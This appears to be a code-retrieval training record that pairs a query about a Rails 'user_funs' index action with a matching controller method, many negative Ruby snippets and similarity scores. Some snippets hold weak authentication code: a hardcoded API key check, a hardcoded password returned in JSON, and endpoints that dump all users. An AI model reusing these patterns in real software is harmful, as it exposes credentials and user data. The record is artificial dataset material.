"def entity_types_dump\n # Build hash tables of precursors and followers to use:\n @precursors, @followers = *build_entity_dependencies\n\n done_banner = false\n sorted = @vocabulary.all_object_type.select{|o|\n o.is_a?(ActiveFacts::Metamodel::EntityType) # and !o.fact_type\n }.sort_by{|o| o.name.gsub(/ /,'')}\n panic = nil\n while true do\n count_this_pass = 0\n skipped_this_pass = 0\n sorted.each{|o|\n next if o.ordered_dumped # Already done\n\n trace :ordered, \"Panicing to dump #{panic.name}\" if panic\n # Can we do this yet?\n remaining_precursors = Array(@precursors[o])-[o]\n if (o != panic and # We don't *have* to do it (panic mode)\n remaining_precursors.size > 0) # precursors - still blocked\n trace :ordered, \"Can't dump #{o.name} despite panic for #{panic.name}, it still needs #{remaining_precursors.map(&:name)*', '}\" if panic\n skipped_this_pass += 1\n next\n end\n trace :ordered, \"Dumping #{o.name} in panic mode, even though it still needs #{remaining_precursors.map(&:name)*', '}\" if panic\n\n entity_type_banner unless done_banner\n done_banner = true\n\n # We're going to emit o - remove it from precursors of others:\n (@followers[o]||[]).each{|f|\n @precursors[f] -= [o]\n }\n count_this_pass += 1\n panic = nil\n\n if (o.fact_type)\n fact_type_dump_with_dependents(o.fact_type)\n released_fact_types_dump(o)\n else\n entity_type_dump(o)\n released_fact_types_dump(o)\n end\n\n entity_type_group_end\n }\n\n # Check that we made progress if there's any to make:\n if count_this_pass == 0 && skipped_this_pass > 0\n=begin\n if panic # We were already panicing... what to do now?\n # This won't happen again unless the above code is changed to decide it can't dump \"panic\".\n bad = sorted.select do |o|\n o.is_a?(ActiveFacts::Metamodel::EntityType) &&\n !o.ordered_dumped &&\n (Array(@precursors[o])-[o]).size > 0 &&\n (Array(@followers[o])-[o]).size > 0\n end\n\n raise \"Unresolvable cycle of forward references: \" +\n bad.map { |o| o.name }*', ' +\n \":\\n\\t\" +\n (\n bad.map do |o|\n o.name +\n \" depends on \" +\n (@precursors[o].uniq.map{|p| p.name}.sort*', ')\n end\n ) * \"\\n\\t\" +\n \"\\n\"\n=end\n# else\n # Find the object that has the most followers and no fwd-ref'd supertypes:\n # This selection might be better if we allow PI roles to be fwd-ref'd...\n panic = sorted.\n select{|o| !o.ordered_dumped }.\n sort_by{|o|\n f = (@followers[o] || []) - [o];\n o.supertypes.detect{|s| !s.ordered_dumped } ? 0 : -f.size\n }[0]\n trace :ordered, \"Panic mode, selected #{panic.name} next\"\n# end\n end\n\n break if skipped_this_pass == 0 # All done.\n\n end\n end",
"def released_fact_types_dump(o)\n roles = o.all_role\n begin\n progress = false\n roles.map(&:fact_type).uniq.select{|fact_type|\n # The fact type hasn't already been dumped but all its role players have\n !fact_type.ordered_dumped &&\n !fact_type.is_a?(ActiveFacts::Metamodel::LinkFactType) &&\n !fact_type.all_role.detect{|r| !r.object_type.ordered_dumped } &&\n !fact_type.entity_type &&\n derivation_precursors_complete(fact_type)\n # REVISIT: A derived fact type must not be dumped before its dependent fact types have\n }.sort_by{|fact_type|\n fact_type_key(fact_type)\n }.each{|fact_type|\n fact_type_dump_with_dependents(fact_type)\n # Objectified Fact Types may release additional fact types\n roles += fact_type.entity_type.all_role.sort_by{|role| role.ordinal} if fact_type.entity_type\n progress = true\n }\n end while progress\n end",
"def _dump() end",
"def describe_type\n puts \"I am a #{type} of Bees Wax\"\n end",
"def to_s\n type\n end",
"def dump\n do_dump(0)\n end",
"def dump_to_s\n output = \"\\r\\n---- Factory dump: ----\"\n @context_list.each do |context_key, context|\n if context.parent_context.instance_of?( V3::ContextDAO )\n output << \"\\r\\n(#{context.parent_context.id}) => '#{context_key}': #{ context }\"\n else\n output << \"\\r\\n'#{context_key}': #{ context }\"\n end\n end\n output << \"\\r\\n\"\n @entity_list.each do |entity_key, entity|\n output << \"\\r\\n'#{entity_key}': #{ entity }\"\n end\n output << \"\\r\\n-----------------------\\r\\n\"\n output\n end",
"def dump\n Ox.dump(send mechanism)\n end",
"def dump\n Ox.dump(send mechanism)\n end",
"def type() end",
"def value_type_chain_dump(o)\n return if o.ordered_dumped\n value_type_chain_dump(o.supertype) if (o.supertype && !o.supertype.ordered_dumped)\n value_type_fork(o)\n o.ordered_dumped!\n end",
"def print_schema(schema)\n print_filtered_schema(schema, method(:is_defined_type))\n end",
"def dump\n record = format_N(:data_type, 1) +\n dump_record\n if record.bytesize != 120\n raise IllegalStateError, \"record size #{record.bytesize} != 120\"\n end\n record\n end",
"def dump\n output = ''\n @objects_table.keys.sort.each do |key|\n object_entry = @objects_table[key]\n name = object_entry.__name__\n type = object_entry.__type__\n #\n # use the inspect to make ruby 1.8.7 and 1.9.3 compatible\n #\n object = lookup(type, name).to_hash.inspect\n output << \"#{type}(#{name}) = #{object}\\n\"\n end\n output\n end",
"def to_s\n\t\treturn @type.nom\n\tend",
"def dump\n puts\n puts \"WorkFlow '#{ @label }' consists of the following tasks:\"\n @task_list.each{ |t| t.dump }\n puts\n end",
"def dump!\n @dump = true\n end",
"def to_s\n TYPES[type.to_sym]\n end",
"def inspect\n \"#<#{self.class}:#{type_sym}:#{object_id.to_s(16)}>\"\n end",
"def to_s\r\n dump\r\n end",
"def define_dumper(klass)\n self\n end",
"def structure_dump() end",
"def _dump\n end",
"def dump(type)\n\n @redis.keys_to_a(\"#{type}/*\").sort.join(\"\\n\")\n end",
"def print_definition()\n puts \"Definition\"\n puts \"----------------------------------------\"\n puts @word_info[:title], \" \"\n @word_info[:types_definitions].each do |type|\n puts \"\\t\" + type[:type]\n type[:definitions].each_with_index do |defintion, i|\n puts \"\\t #{i+1}. #{defintion}\"\n end\n print \"\\n\"\n end\n end",
"def inspect\n \"#<Plaid::Category id=#{id.inspect}, type=#{type.inspect}, \" \\\n \"hierarchy=#{hierarchy.inspect}>\"\n end",
"def inspect()\n serialize.to_s()\n end",
"def inspect()\n serialize.to_s()\n end",
"def dumper_class\n attributes.dumper_class\n end",
"def to_s\n \"[(#{@word}:#{@type})]\"\n end",
"def to_s\n self.test_type\n end",
"def fact_display(category)\n puts \"\\n\"\n puts fact_parser(category)\n end",
"def inspect\n serialize.to_s\n end",
"def dumpable\n set(variable_table: variable_table.dumpable, rule_table: rule_table.dumpable)\n end",
"def _dump(depth)\n \"\"\n end",
"def _dump(depth)\n \"\"\n end",
"def dump\n unless @obsolete then\n puts \" WorkFlow task ##{ @id } '#{ @label }':\"\n puts \" #{ @inflows.count{ |f| !f.obsolete }} incoming flows:\"\n @inflows.each_with_index do |f,i|\n puts \" (#{ i }) #{ f.dump_info_from }\" unless f.obsolete\n end\n puts \" #{ @outflows.count{ |f| !f.obsolete }} outgoing flows:\"\n @outflows.each_with_index do |f,i| \n puts \" (#{ i }) #{ f.dump_info_to }\" unless f.obsolete\n end\n end\n end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def type_name; end",
"def dump(depth = 0)\n print ' ' * depth * 2\n print \"// #{self.to_s}\\n\"\n end",
"def dump\n @@fields.each { |field| @contents[field] = send(field) } \n @contents\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n serialize.to_s\n end",
"def dump(value)\n nil\n end",
"def test_print_singular_ruby\n\t\tp = Print.new\n\t\tassert_output(\"\\tFound 1 ruby in Town.\\n\") {p.print_one_type([1,0],'Town')}\n\tend",
"def _type\n self.class.to_s\n end",
"def dump(depth = 0)\n print ' ' * depth * 2\n print \"<?#{@value.inspect}?>\\n\"\n end",
"def describe_type\n puts \"I am a #{type} type of Bees Wax\"\nend",
"def type\n @type.to_s\n end",
"def dump(depth = 0)\n attr = ''\n @attr.each do |a| ## self.attributes do |a|\n attr += a.to_s + \", \"\n end if @attr\n attr.chop!\n attr.chop!\n print ' ' * depth * 2\n print \"#{@name}(#{attr})\\n\"\n @children.each do |child|\n child.dump(depth + 1)\n end if @children\n end",
"def dump(object)\n dumper(object).dump\n end",
"def _dump()\n #This is a stub, used for indexing\n end",
"def full_save\n types.each do |t|\n ActiveRDF::FederationManager.add(self, N::RDF::type, t)\n end\n\n ActiveRDF::Query.new(N::URI).distinct(:p,:o).where(self, :p, :o).execute do |p, o|\n ActiveRDF::FederationManager.add(self, p, o)\n end\n end",
"def print\n pp @board.map{|r| r.map { |c| c.class.to_s }}\n end",
"def dump( out )\n out << \"foreign_key #{out_columns}, #{out_table_name}#{out_opts}\"\n end",
"def fact_class\n cube.class.fact_class\n end",
"def dump\n\n @seen.collect { |msg| fancy_print(msg) }.join(\"\\n\")\n end",
"def to_s\n \"I am a #{@type} cat.\"\n end",
"def to_s\n %w( name display_name uuid ).collect { |k| \"#{k}=#{ self.send(k) }\" }.join(' | ') + \" | types=#{ types.join(',') }\"\n end",
"def types; end",
"def types; end",
"def types; end",
"def types; end",
"def types; end",
"def dump\n super\n\n puts \"fsp header:\"\n pp fsp_header\n puts\n\n puts \"xdes entries:\"\n each_xdes do |xdes|\n pp xdes\n end\n puts\n end",
"def _dump(depth)\n inject(\"\") { |str, node| str << node.dump_node << self.class.node_sep }\n end",
"def type; self._type; end",
"def inspect\n # Concise to not dump too much information on the dev\n \"#<#{self.class.name}>\"\n end",
"def explain_types; end",
"def dump\n dump_print(\"PREFIX\", dump_sub(PREFIX, 1.0, {}))\n dump_print(\"CONSONANTS\", dump_sub(CONSONANTS, 1.0, {}))\n dump_print(\"VOWELS\", dump_sub(VOWELS, 1.0, {}))\n dump_print(\"SUFFIX\", dump_sub(SUFFIX, 1.0, {}))\n end",
"def dump( out = Dumper.new )\n out.dump \"table #{out_name}\" do\n for column in columns\n column.dump( out )\n end\n for index in indexes\n index.dump( out )\n end\n for foreign_key in foreign_keys\n foreign_key.dump( out )\n end\n end\n end",
"def test_print_singular_fake_ruby\n\t\tp = Print.new\n\t\tassert_output(\"\\tFound 1 fake ruby in Town.\\n\") {p.print_one_type([0,1],'Town')}\n\tend",
"def dump_to\n # some fog models have an identity field that is duplicate.\n # duplicate identities can mean the cache for that already exists.\n # this means cache duplication is possible.\n #\n # see \"dumping two models that have duplicate identity\" test case.\n \"#{self.class.namespace(model.class, model.service)}/#{model.identity}-#{SecureRandom.hex}.yml\"\n end",
"def dump\r\n super + to_s\r\n end",
"def print_class(*) end",
"def print_association\n operation = OperationType.find(operation_type.id)\n feedback_array = operation.get(:feedback)\n if feedback_array\n show do\n title \"This is printing because debug is on\"\n note \"#{feedback_array}\"\n end\n end\n end",
"def dump_mode!\n @_dump_mode = !!!@_dump_mode\n end",
"def type_name\n TYPE[self.exercise_type].to_s\n end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end"
] |
[
"0.6774727",
"0.67335397",
"0.6292088",
"0.62656057",
"0.6161495",
"0.5973203",
"0.5946446",
"0.5662874",
"0.56528383",
"0.5648619",
"0.56041765",
"0.56018597",
"0.5573867",
"0.5552066",
"0.55419964",
"0.5519449",
"0.55164355",
"0.5495487",
"0.54875857",
"0.5486334",
"0.5458183",
"0.5447183",
"0.54323316",
"0.5411848",
"0.5377389",
"0.5369909",
"0.5356537",
"0.5355621",
"0.5341997",
"0.53072554",
"0.529766",
"0.5267486",
"0.5267486",
"0.5250638",
"0.5246986",
"0.524298",
"0.5238664",
"0.5236735",
"0.5233362",
"0.5230046",
"0.5230046",
"0.52237386",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.518227",
"0.5180463",
"0.51731217",
"0.5168278",
"0.5168278",
"0.5168278",
"0.5163105",
"0.51604015",
"0.5156379",
"0.51525354",
"0.5151031",
"0.5133265",
"0.513194",
"0.5124976",
"0.5117736",
"0.5117466",
"0.5093407",
"0.5087881",
"0.5084648",
"0.5079901",
"0.50788414",
"0.50520706",
"0.5050388",
"0.5050388",
"0.5050388",
"0.5050388",
"0.5050388",
"0.5048758",
"0.50485086",
"0.50464344",
"0.5041752",
"0.50381213",
"0.50246346",
"0.50185156",
"0.50110465",
"0.5010231",
"0.49987194",
"0.499767",
"0.49948224",
"0.49927083",
"0.49917337",
"0.49900445",
"0.49900445",
"0.49900445"
] |
0.83341646
|
0
|
authenticate_admin GET /user_funs GET /user_funs.json
|
def index
@user_funs = UserFun.all
respond_to do |format|
format.html # index.html.erb
format.json { render :json => @user_funs }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @user_fun = UserFun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user_fun }\n end\n end",
"def show\n @user_fun = UserFun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user_fun }\n end\n end",
"def my_fun_list\n user_funs = UserFun.find_all_by_user_id(session[:user_id])\n @user_funs = UserFun.find_all_by_user_id(session[:user_id])\n end",
"def index # ☑️ will get all users\n if current_user.admin == true \n render json: User.all\n else \n render json: {message: \"Authorized access denied. Admin status: #{current_user.admin}\"} \n end\n end",
"def index\n #before_action :authenticate_user\n #if current_user.admin?\n @users = User.all\n render json: @users, status: :ok\n #else\n # render json: [], status: :unauthorized\n #end\n end",
"def get_user\n if params[:email].nil?\n render json: current_user,\n except: [\n :created_at,\n :updated_at,\n :admin_permissions\n ],\n include: {\n case_cortege: {},\n cortege: {},\n orchestra: {},\n orchestra_signup: {\n include: [\n :orchestra\n ]\n },\n funkis_application: {\n include: [\n funkis_shift_applications: {\n include: [\n funkis_shift: {\n include: [\n :funkis_category\n ],\n except: [\n :maximum_workers\n ]\n }\n ]\n }\n ]\n }\n }\n else\n user = User.find_by email:(params[:email])\n unless user.nil?\n if current_user.has_admin_permission? AdminPermission::ALL\n render json: user,\n include: {\n case_cortege: {},\n cortege: {},\n orchestra: {},\n orchestra_signup: {\n include: [\n :orchestra\n ]\n },\n funkis_application: {\n include: [\n funkis_shift_applications: {\n include: [\n funkis_shift: {\n include: [\n :funkis_category\n ],\n except: [\n :maximum_workers\n ]\n }\n ]\n }\n ],\n }\n }\n elsif current_user.has_admin_permission? AdminPermission::ORCHESTRA_ADMIN\n render json: user, except: [\n :created_at,\n :updated_at,\n :admin_permissions\n ],\n include: {\n orchestra: {},\n orchestra_signup: {\n include: [\n :orchestra\n ]\n }\n }\n\n elsif current_user.has_admin_permission? \\\n AdminPermission::LIST_CORTEGE_APPLICATIONS || AdminPermission::APPROVE_CORTEGE_APPLICATIONS\n render json: user, except: [\n :created_at,\n :updated_at,\n :admin_permissions\n ],\n include: {\n case_cortege: {},\n cortege: {},\n }\n elsif current_user.has_admin_permission? AdminPermission::LIST_FUNKIS_APPLICATIONS\n render json: user, except: [\n :created_at,\n :updated_at,\n :admin_permissions\n ],\n include: {\n case_cortege: {},\n cortege: {},\n orchestra: {},\n orchestra_signup: {\n include: [\n :orchestra\n ]\n },\n funkis_application: {\n include: [\n funkis_shift_applications: {\n include: [\n funkis_shift: {\n include: [\n :funkis_category\n ],\n except: [\n :maximum_workers\n ]\n }\n ]\n }\n ],\n }\n }\n else\n render json: user, except: [\n :created_at,\n :updated_at,\n :permissions\n ]\n end\n else\n render :status => '404', :json => {:message => 'Användare kunde inte hittas'}\n end\n end\n end",
"def fun_list\n @funs = Fun.find_funs_by_game_peclass(session[:user_id])\n @user_fun = UserFun.new\n end",
"def admin_auth\n user = User.find_by(id: params[:user_id])\n if ! user\n \trender json: {\n \"error\" => \"Unauthorized\"\n }, status: 401\n return\n end \n if user.is? :admin\n render json: {}, status: 201\n else\n render json: {\n \"error\" => \"Unauthorized\"\n }, status: 401\n end \n end",
"def index\n @users = User.all.order(\"id\")\n @users = @users.where(is_admin: params[:is_admin]) if params.key?(:is_admin)\n render json: @users\n end",
"def index\n r = @api.get_users\n response = JSON.parse(r.body)\n if r.code == 200\n @users = response\n else\n redirect_to login_sign_in_admin_path, alert: response['message']\n end\n end",
"def users\n\n end",
"def index\n user_id = params[:user_id]\n user_id=current_user.user_id unless user_id.present?\n\n @fans = User.get_fans(user_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fans }\n end\n end",
"def get_users(request); end",
"def users\n \n end",
"def show\n if params[:id].nil?\n render json: current_user,\n except: [\n :created_at,\n :updated_at,\n :admin_permissions\n ],\n include: {\n case_cortege: {},\n cortege: {},\n orchestra: {},\n orchestra_signup: {\n include: [\n :orchestra\n ]\n },\n funkis_application: {\n include: [\n funkis_shift_applications: {\n include: [\n funkis_shift: {\n include: [\n :funkis_category\n ],\n except: [\n :maximum_workers\n ]\n }\n ]\n }\n ],\n methods: [\n :steps_completed\n ]\n }\n },\n methods: [\n :is_lintek_member,\n :shopping_cart_count\n ]\n else\n require_admin_permission AdminPermission::LIST_USERS\n\n user = User.find(params[:id])\n if user.present?\n render json: user, include: [:funkis_application]\n else\n render :status => '404', :json => {:message => 'Användare kunde inte hittas'}\n end\n end\n end",
"def authenticate_admin\n user = User.where(\"email = ? AND password = ?\", params[:user_email], params[:user_password]).first\n if user.api_key != 'RF70F4yyqXEzdMgklqKQLAtt'\n render json:{'error': 'You are credntials are authorized to access user'}, status: :unprocessable_entity\n end\n rescue\n render json:{'error': 'You are not admin to access user'}, status: :unprocessable_entity\n end",
"def new\n @user_fun = UserFun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @user_fun }\n end\n end",
"def new\n @user_fun = UserFun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @user_fun }\n end\n end",
"def list_users_for_all_tenants(args = {}) \n get(\"/users.json/global\", args)\nend",
"def list_users_for_all_tenants(args = {}) \n get(\"/users.json/global\", args)\nend",
"def manage_users\n \t@users = User.all\n\n \trespond_to do |format|\n format.json {\n render :json => @users.as_json(:only => [:id, :username, :firstname, :lastname, :email], :methods => [:avatar_url])\n }\n format.html {\n render 'manage_users'\n }\n end\n end",
"def index\n @users = User.all\n authorize @users\n\n render json: @users\n end",
"def get\n\t\tif request.post?\n\t\t\tuser = User.find_by_id(params[:user_id])\n\t\t\tunless user\n\t\t\t\trender json: {error: \"user not fonud\"} and return\n\t\t\tend\n\t\t\t\n\t\t\trender json: {friends: user.friends.each {|f| f.password = nil}}\n\t\tend\n\tend",
"def index\n if( is_admin? )\n \t\t@users = User.all\n respond_to do |format|\n format.html # index.html.erb\n format.json {render :json => @users.collect{|x| x.email} }\n end\n else\n redirect_to \"/home\", notice: \"Access Denied\"\n end\n end",
"def auto_login\n render json: @user\n end",
"def auto_login\n render json: @user\n end",
"def auto_login\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n @isAdmin = current_user.admin_rights\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def update\n @user_fun = UserFun.find(params[:id])\n\n respond_to do |format|\n if @user_fun.update_attributes(params[:user_fun])\n format.html { redirect_to @user_fun, :notice => 'User fun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user_fun.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user_fun = UserFun.find(params[:id])\n\n respond_to do |format|\n if @user_fun.update_attributes(params[:user_fun])\n format.html { redirect_to @user_fun, :notice => 'User fun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user_fun.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n if @oeuser.id.to_i == params[:id].to_i\n @user = User.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n else\n flash[:error] = \"Restricted Access, You need to be Admin\"\n redirect_to root_url\n end\n end",
"def get_current_logged_in_user \n get(\"/users.json/current\")\nend",
"def get_current_logged_in_user \n get(\"/users.json/current\")\nend",
"def new_list_users\n\n end",
"def index\n render json: { users: User.pluck(:email, :admin), password: 'PassworD@55' }\n end",
"def auth\n\n @user = current_user\n render json: @user\n \n end",
"def index\n respond_to do |format|\n if authorized?\n format.json { render json: User.all }\n else\n format.json { render json: unauthorized, status: :forbidden }\n end\n end\n end",
"def index\n \n \n if user_signed_in? && current_user.admin?\n @users = User.all\n @unapproved_users = User.where(:approved => false)\n @approved_users = User.where(:approved => true)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @users }\n end\n else\n redirect_to root_path\n end\n end",
"def users\n @users = User.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end",
"def login\n @users = User.all\n render json: User.all\n end",
"def create_non_admin_user_authenticate\n post '/users', 'username' => 'testuser', 'password' => 'testpassword', 'email_address' => 'test@toto.com'\n id_user = last_response.json_body['id']\n digest_authorize 'testuser', 'testpassword'\n id_user\nend",
"def index\n #if is_admin?\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render :json => @users }\n end\n # else \n # redirect_to :root\n # end\n end",
"def index\n @users = User.all\n if is_admin?\n @users = User.all - User.where(:username => \"Anonymous\")\n elsif is_member?\n @users = [@current_user]\n else\n redirect_to \"signup\"\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def auto_login\n render json: logged_in_user\n end",
"def mf_api_get_user_info\n\n # Get the user from the DB\n user = User.find(params[:user_id])\n\n # If no user, return error response\n unless user\n response = {\n success: false,\n message: 'User not found'\n }\n\n render json: response and return\n end\n\n # Create User Info Response\n response = {\n success: true,\n message: 'User Info successfully retrieved',\n user_id: user.id,\n user_infusionsoft_id: user.clientid,\n user_first_name: user.first_name,\n user_last_name: user.last_name,\n user_email: user.email,\n }\n\n # Return success response\n render json: response\n\n end",
"def auto_login\n render json: @user\n end",
"def index\n set_page_title\n\n if current_user.is_admin?\n @users = User.where(\"owner_type != ?\", \"Admin\").order(:first_name)\n else\n @users = current_user.farm.users.order(:first_name)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n #byebug\n #CHECK AUTHORIZATION HERE NOT JUST JUST AUTHENTICATION\n \n render json: {farmers: Farmer.all, customers: CustomerUser.all} #User.all #CustomerUser.all #{users: User.all, customers: Customer_User.all}\n end",
"def show\n\tif(filters)\n\t\tif(!session[:user_id])\n\t\t\tflash[:error] = \"Acceso denegado\"\n\t\t\tredirect_to home_path\n\t\t\treturn\n\t\tend\n\t\tif(!User.find(session[:user_id]).admin || !User.find(session[:user_id]).active)\n\t\t\tflash[:error] = \"Acceso denegado\"\n\t\t\tredirect_to home_path\n\t\t\treturn\n\t\tend\n\tend\n @user = User.find(params[:id])\n\n\tflash[:active_tab] = \"admin\"\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def user_authentication\n end",
"def index\n if current_user and current_user.isAdmin?\n @users = User.all\n @students = Student.all\n @faculty = Faculty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n return\n\n else\n @user = User.find(current_user.id)\n\n respond_to do |format|\n format.html { redirect_to home_url }\n end\n end\n end",
"def index\n @users = User.where(:admin => true).paginate(:page => params[:page], :per_page => 10).order('id DESC')\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def autologin\n token = request.headers['Authorization']\n user_id = JWT.decode(token, 'secret')[0][\"userId\"]\n user = User.find(user_id)\n render json: user.user_information\n end",
"def show\n\t\t@user = User.find_by_md5(params[:id])\n\t\t@admin = User.find(1)\n\t\tsignin_and_active(@user,@admin)\n\n\tend",
"def index\n @functionaries = Functionary.with_functionary(current_user).page params[:page]\n \n end",
"def user1\n if user = User.where(\"lower(users.login) = ?\", params[:login].downcase).first\n result = {\n :id => user.id,\n :username => user.login,\n :name => user.name,\n :avatar_url => user.avatar_url,\n :location => user.location\n }\n render json: result\n else\n head :not_found\n end\n end",
"def admin_user\n unless current_user.admin?\n format.json {render json: 'Bad credentials', status: 401}\n end\n end",
"def show\n @user = User.find(params[:id])\n if !(current_user.isAdmin? or current_user == @user) \n redirect_to home_path, notice: \"Unauthorized!\"\n return\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def index\n @users = []\n if current_user.admin?\n @users = User.all\n @users = @users.where(\"users.firstname like ?\", \"%#{params[:firstname]}%\") if params[:firstname].present?\n @users = @users.where(\"users.lastname like ?\", \"%#{params[:lastname]}%\") if params[:lastname].present?\n @users = @users.where(\"users.dni like ?\", \"%#{params[:dni]}%\") if params[:dni].present?\n @users = @users.where(role: params[:rl]) if params[:rl].present?\n end\n json_response(@users.to_json(only: [:id, :firstname, :lastname, :email, :role, :dni, :address, :phone]))\n end",
"def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @funerals }\n end\n end",
"def is_admin\n if current_user.user_type != 1001\n render json: {data: \"you must login as admin...!\" , meta: {status: false} } , status: 401\n end\nend",
"def users()\n\t\t\tend",
"def list_all_users\n\n end",
"def index\n @funs = Fun.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @funs }\n end\n end",
"def show\n @fun = Fun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @fun }\n end\n end",
"def index\n @users = User.order(:name)\n if( !current_user.isadmin() )\n @users = @users.select { |u| u.isplayer(u.id) == true }\n end\n # print('heloo')\n case params[:format]\n when 'staff'\n @users = @users.select { |u| u.canrole == 'staff' } + @users.select { |u| u.canrole == 'medical' } + @users.select { |u| u.canrole == 'admin' } + @users.select { |u| u.canrole == 'staffpremiere' }\n when 'premiere'\n @users = @users.select { |u| u.canrole == 'premiere' }\n when 'staffpremiere'\n @users = @users.select { |u| u.canrole == 'satffpremiere' }\n when 'm21'\n @users = @users.select { |u| u.canrole == 'm21' }\n when 'm18'\n @users = @users.select { |u| u.canrole == 'm18' }\n when 'm16'\n @users = @users.select { |u| u.canrole == 'm16' }\n when 'm15'\n @users = @users.select { |u| u.canrole == 'm15' }\n when 'fe14'\n @users = @users.select { |u| u.canrole == 'fe14' }\n when 'fe13'\n @users = @users.select { |u| u.canrole == 'fe13' }\n when 'fe12'\n @users = @users.select { |u| u.canrole == 'fe12' }\n when 'fe11'\n @users = @users.select { |u| u.canrole == 'fe11' }\n when 'fc10'\n @users = @users.select { |u| u.canrole == 'fc10' }\n when 'fc9'\n @users = @users.select { |u| u.canrole == 'fc9' }\n when 'fc8'\n @users = @users.select { |u| u.canrole == 'fc8' }\n when 'fc7'\n @users = @users.select { |u| u.canrole == 'fc7' }\n when 'archived'\n @users = @users.select { |u| u.canrole == 'archived' }\n end\n end",
"def show\n @admin_user = AdminUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_user }\n end\n end",
"def show\n user = User.find_by(id: session[:user_id])\n if user\n render json: user, status: :ok\n else\n render json: {errors: \"Not authorized\"}, status: :unauthorized\n end\n end",
"def show\n @adminuser = Adminuser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @adminuser }\n end\n end",
"def show\n # token = request.headers['Authentication'].split(' ')[1]\n # payload = JWT.decode(token)\n # user = User.find(payload['user_id'])\n # if user\n # render json: user\n # else \n # render json: { message: 'Error', user: 'Could not get user from token' }\n # end\n end",
"def show\n @user = AdminUser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def index\n\n orang = get_orang_from_jwt_token\n\n\n if orang\n @datas = Staf.all\n\n render json: {\n status: 'success',\n msg: 'Profil berhasil diminta',\n data: @datas\n }\n else\n render json: {\n status: 'fail',\n msg: 'Anda tidak berhak mendapatkan data untuk halaman ini'\n }\n end\n end",
"def list_users\n self.class.get('/users')\n end",
"def auth()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n render json: {status: true, reason: \"\", data: \"\"}\n end",
"def index_lawfirm_users\n if current_user.id == current_user.lawfirm.user_id\n @users = User.where(lawfirm_id: current_user.lawfirm.id).load\n else\n flash[:danger] = \"You must have administrative privileges to view this page.\"\n redirect_to user_cases_path\n end\n end",
"def index\n @users = AdminUser.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n # if the endpoint is the demo endpoint for checking credentials,\n # just return a straightforward success response\n if params[:endpoint] == \"demo_endpoint\"\n render json: {\"message\" => \"Success! You've made an API request with valid credentials!\"}\n else\n # If the params POSTed are not a valid combination of filters to use, i\n # the \"request\" will fail.\n request = EndpointRequest.new(@user_key, params)\n # request.failed is an error message if the filters aren't permitted for this key.\n unless request.failed\n # The 'response' will fail if there are no columns for this key for this\n # resource, or if resource name was invalid.\n response = EndpointResponse.new(@user_key, params)\n unless response.failed\n render json: JSON(response.to_hash), status: 200\n else\n # response.failed is an error message if something went wrong.\n render json: {\"message\" => response.failed }\n end\n else\n render json: {\"message\" => request.failed }\n end\n end\n end",
"def show\n @useradmin = Useradmin.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @useradmin }\n end\n end",
"def admin_all_users\n\n # Get the Current App\n @app = MailfunnelsUtil.get_app\n\n # If the User is not an admin redirect to error page\n if !@app.is_admin or @app.is_admin === 0\n redirect_to '/error_page'\n end\n\n\n # Otherwise get list of all Users\n @users = User.all\n\n end",
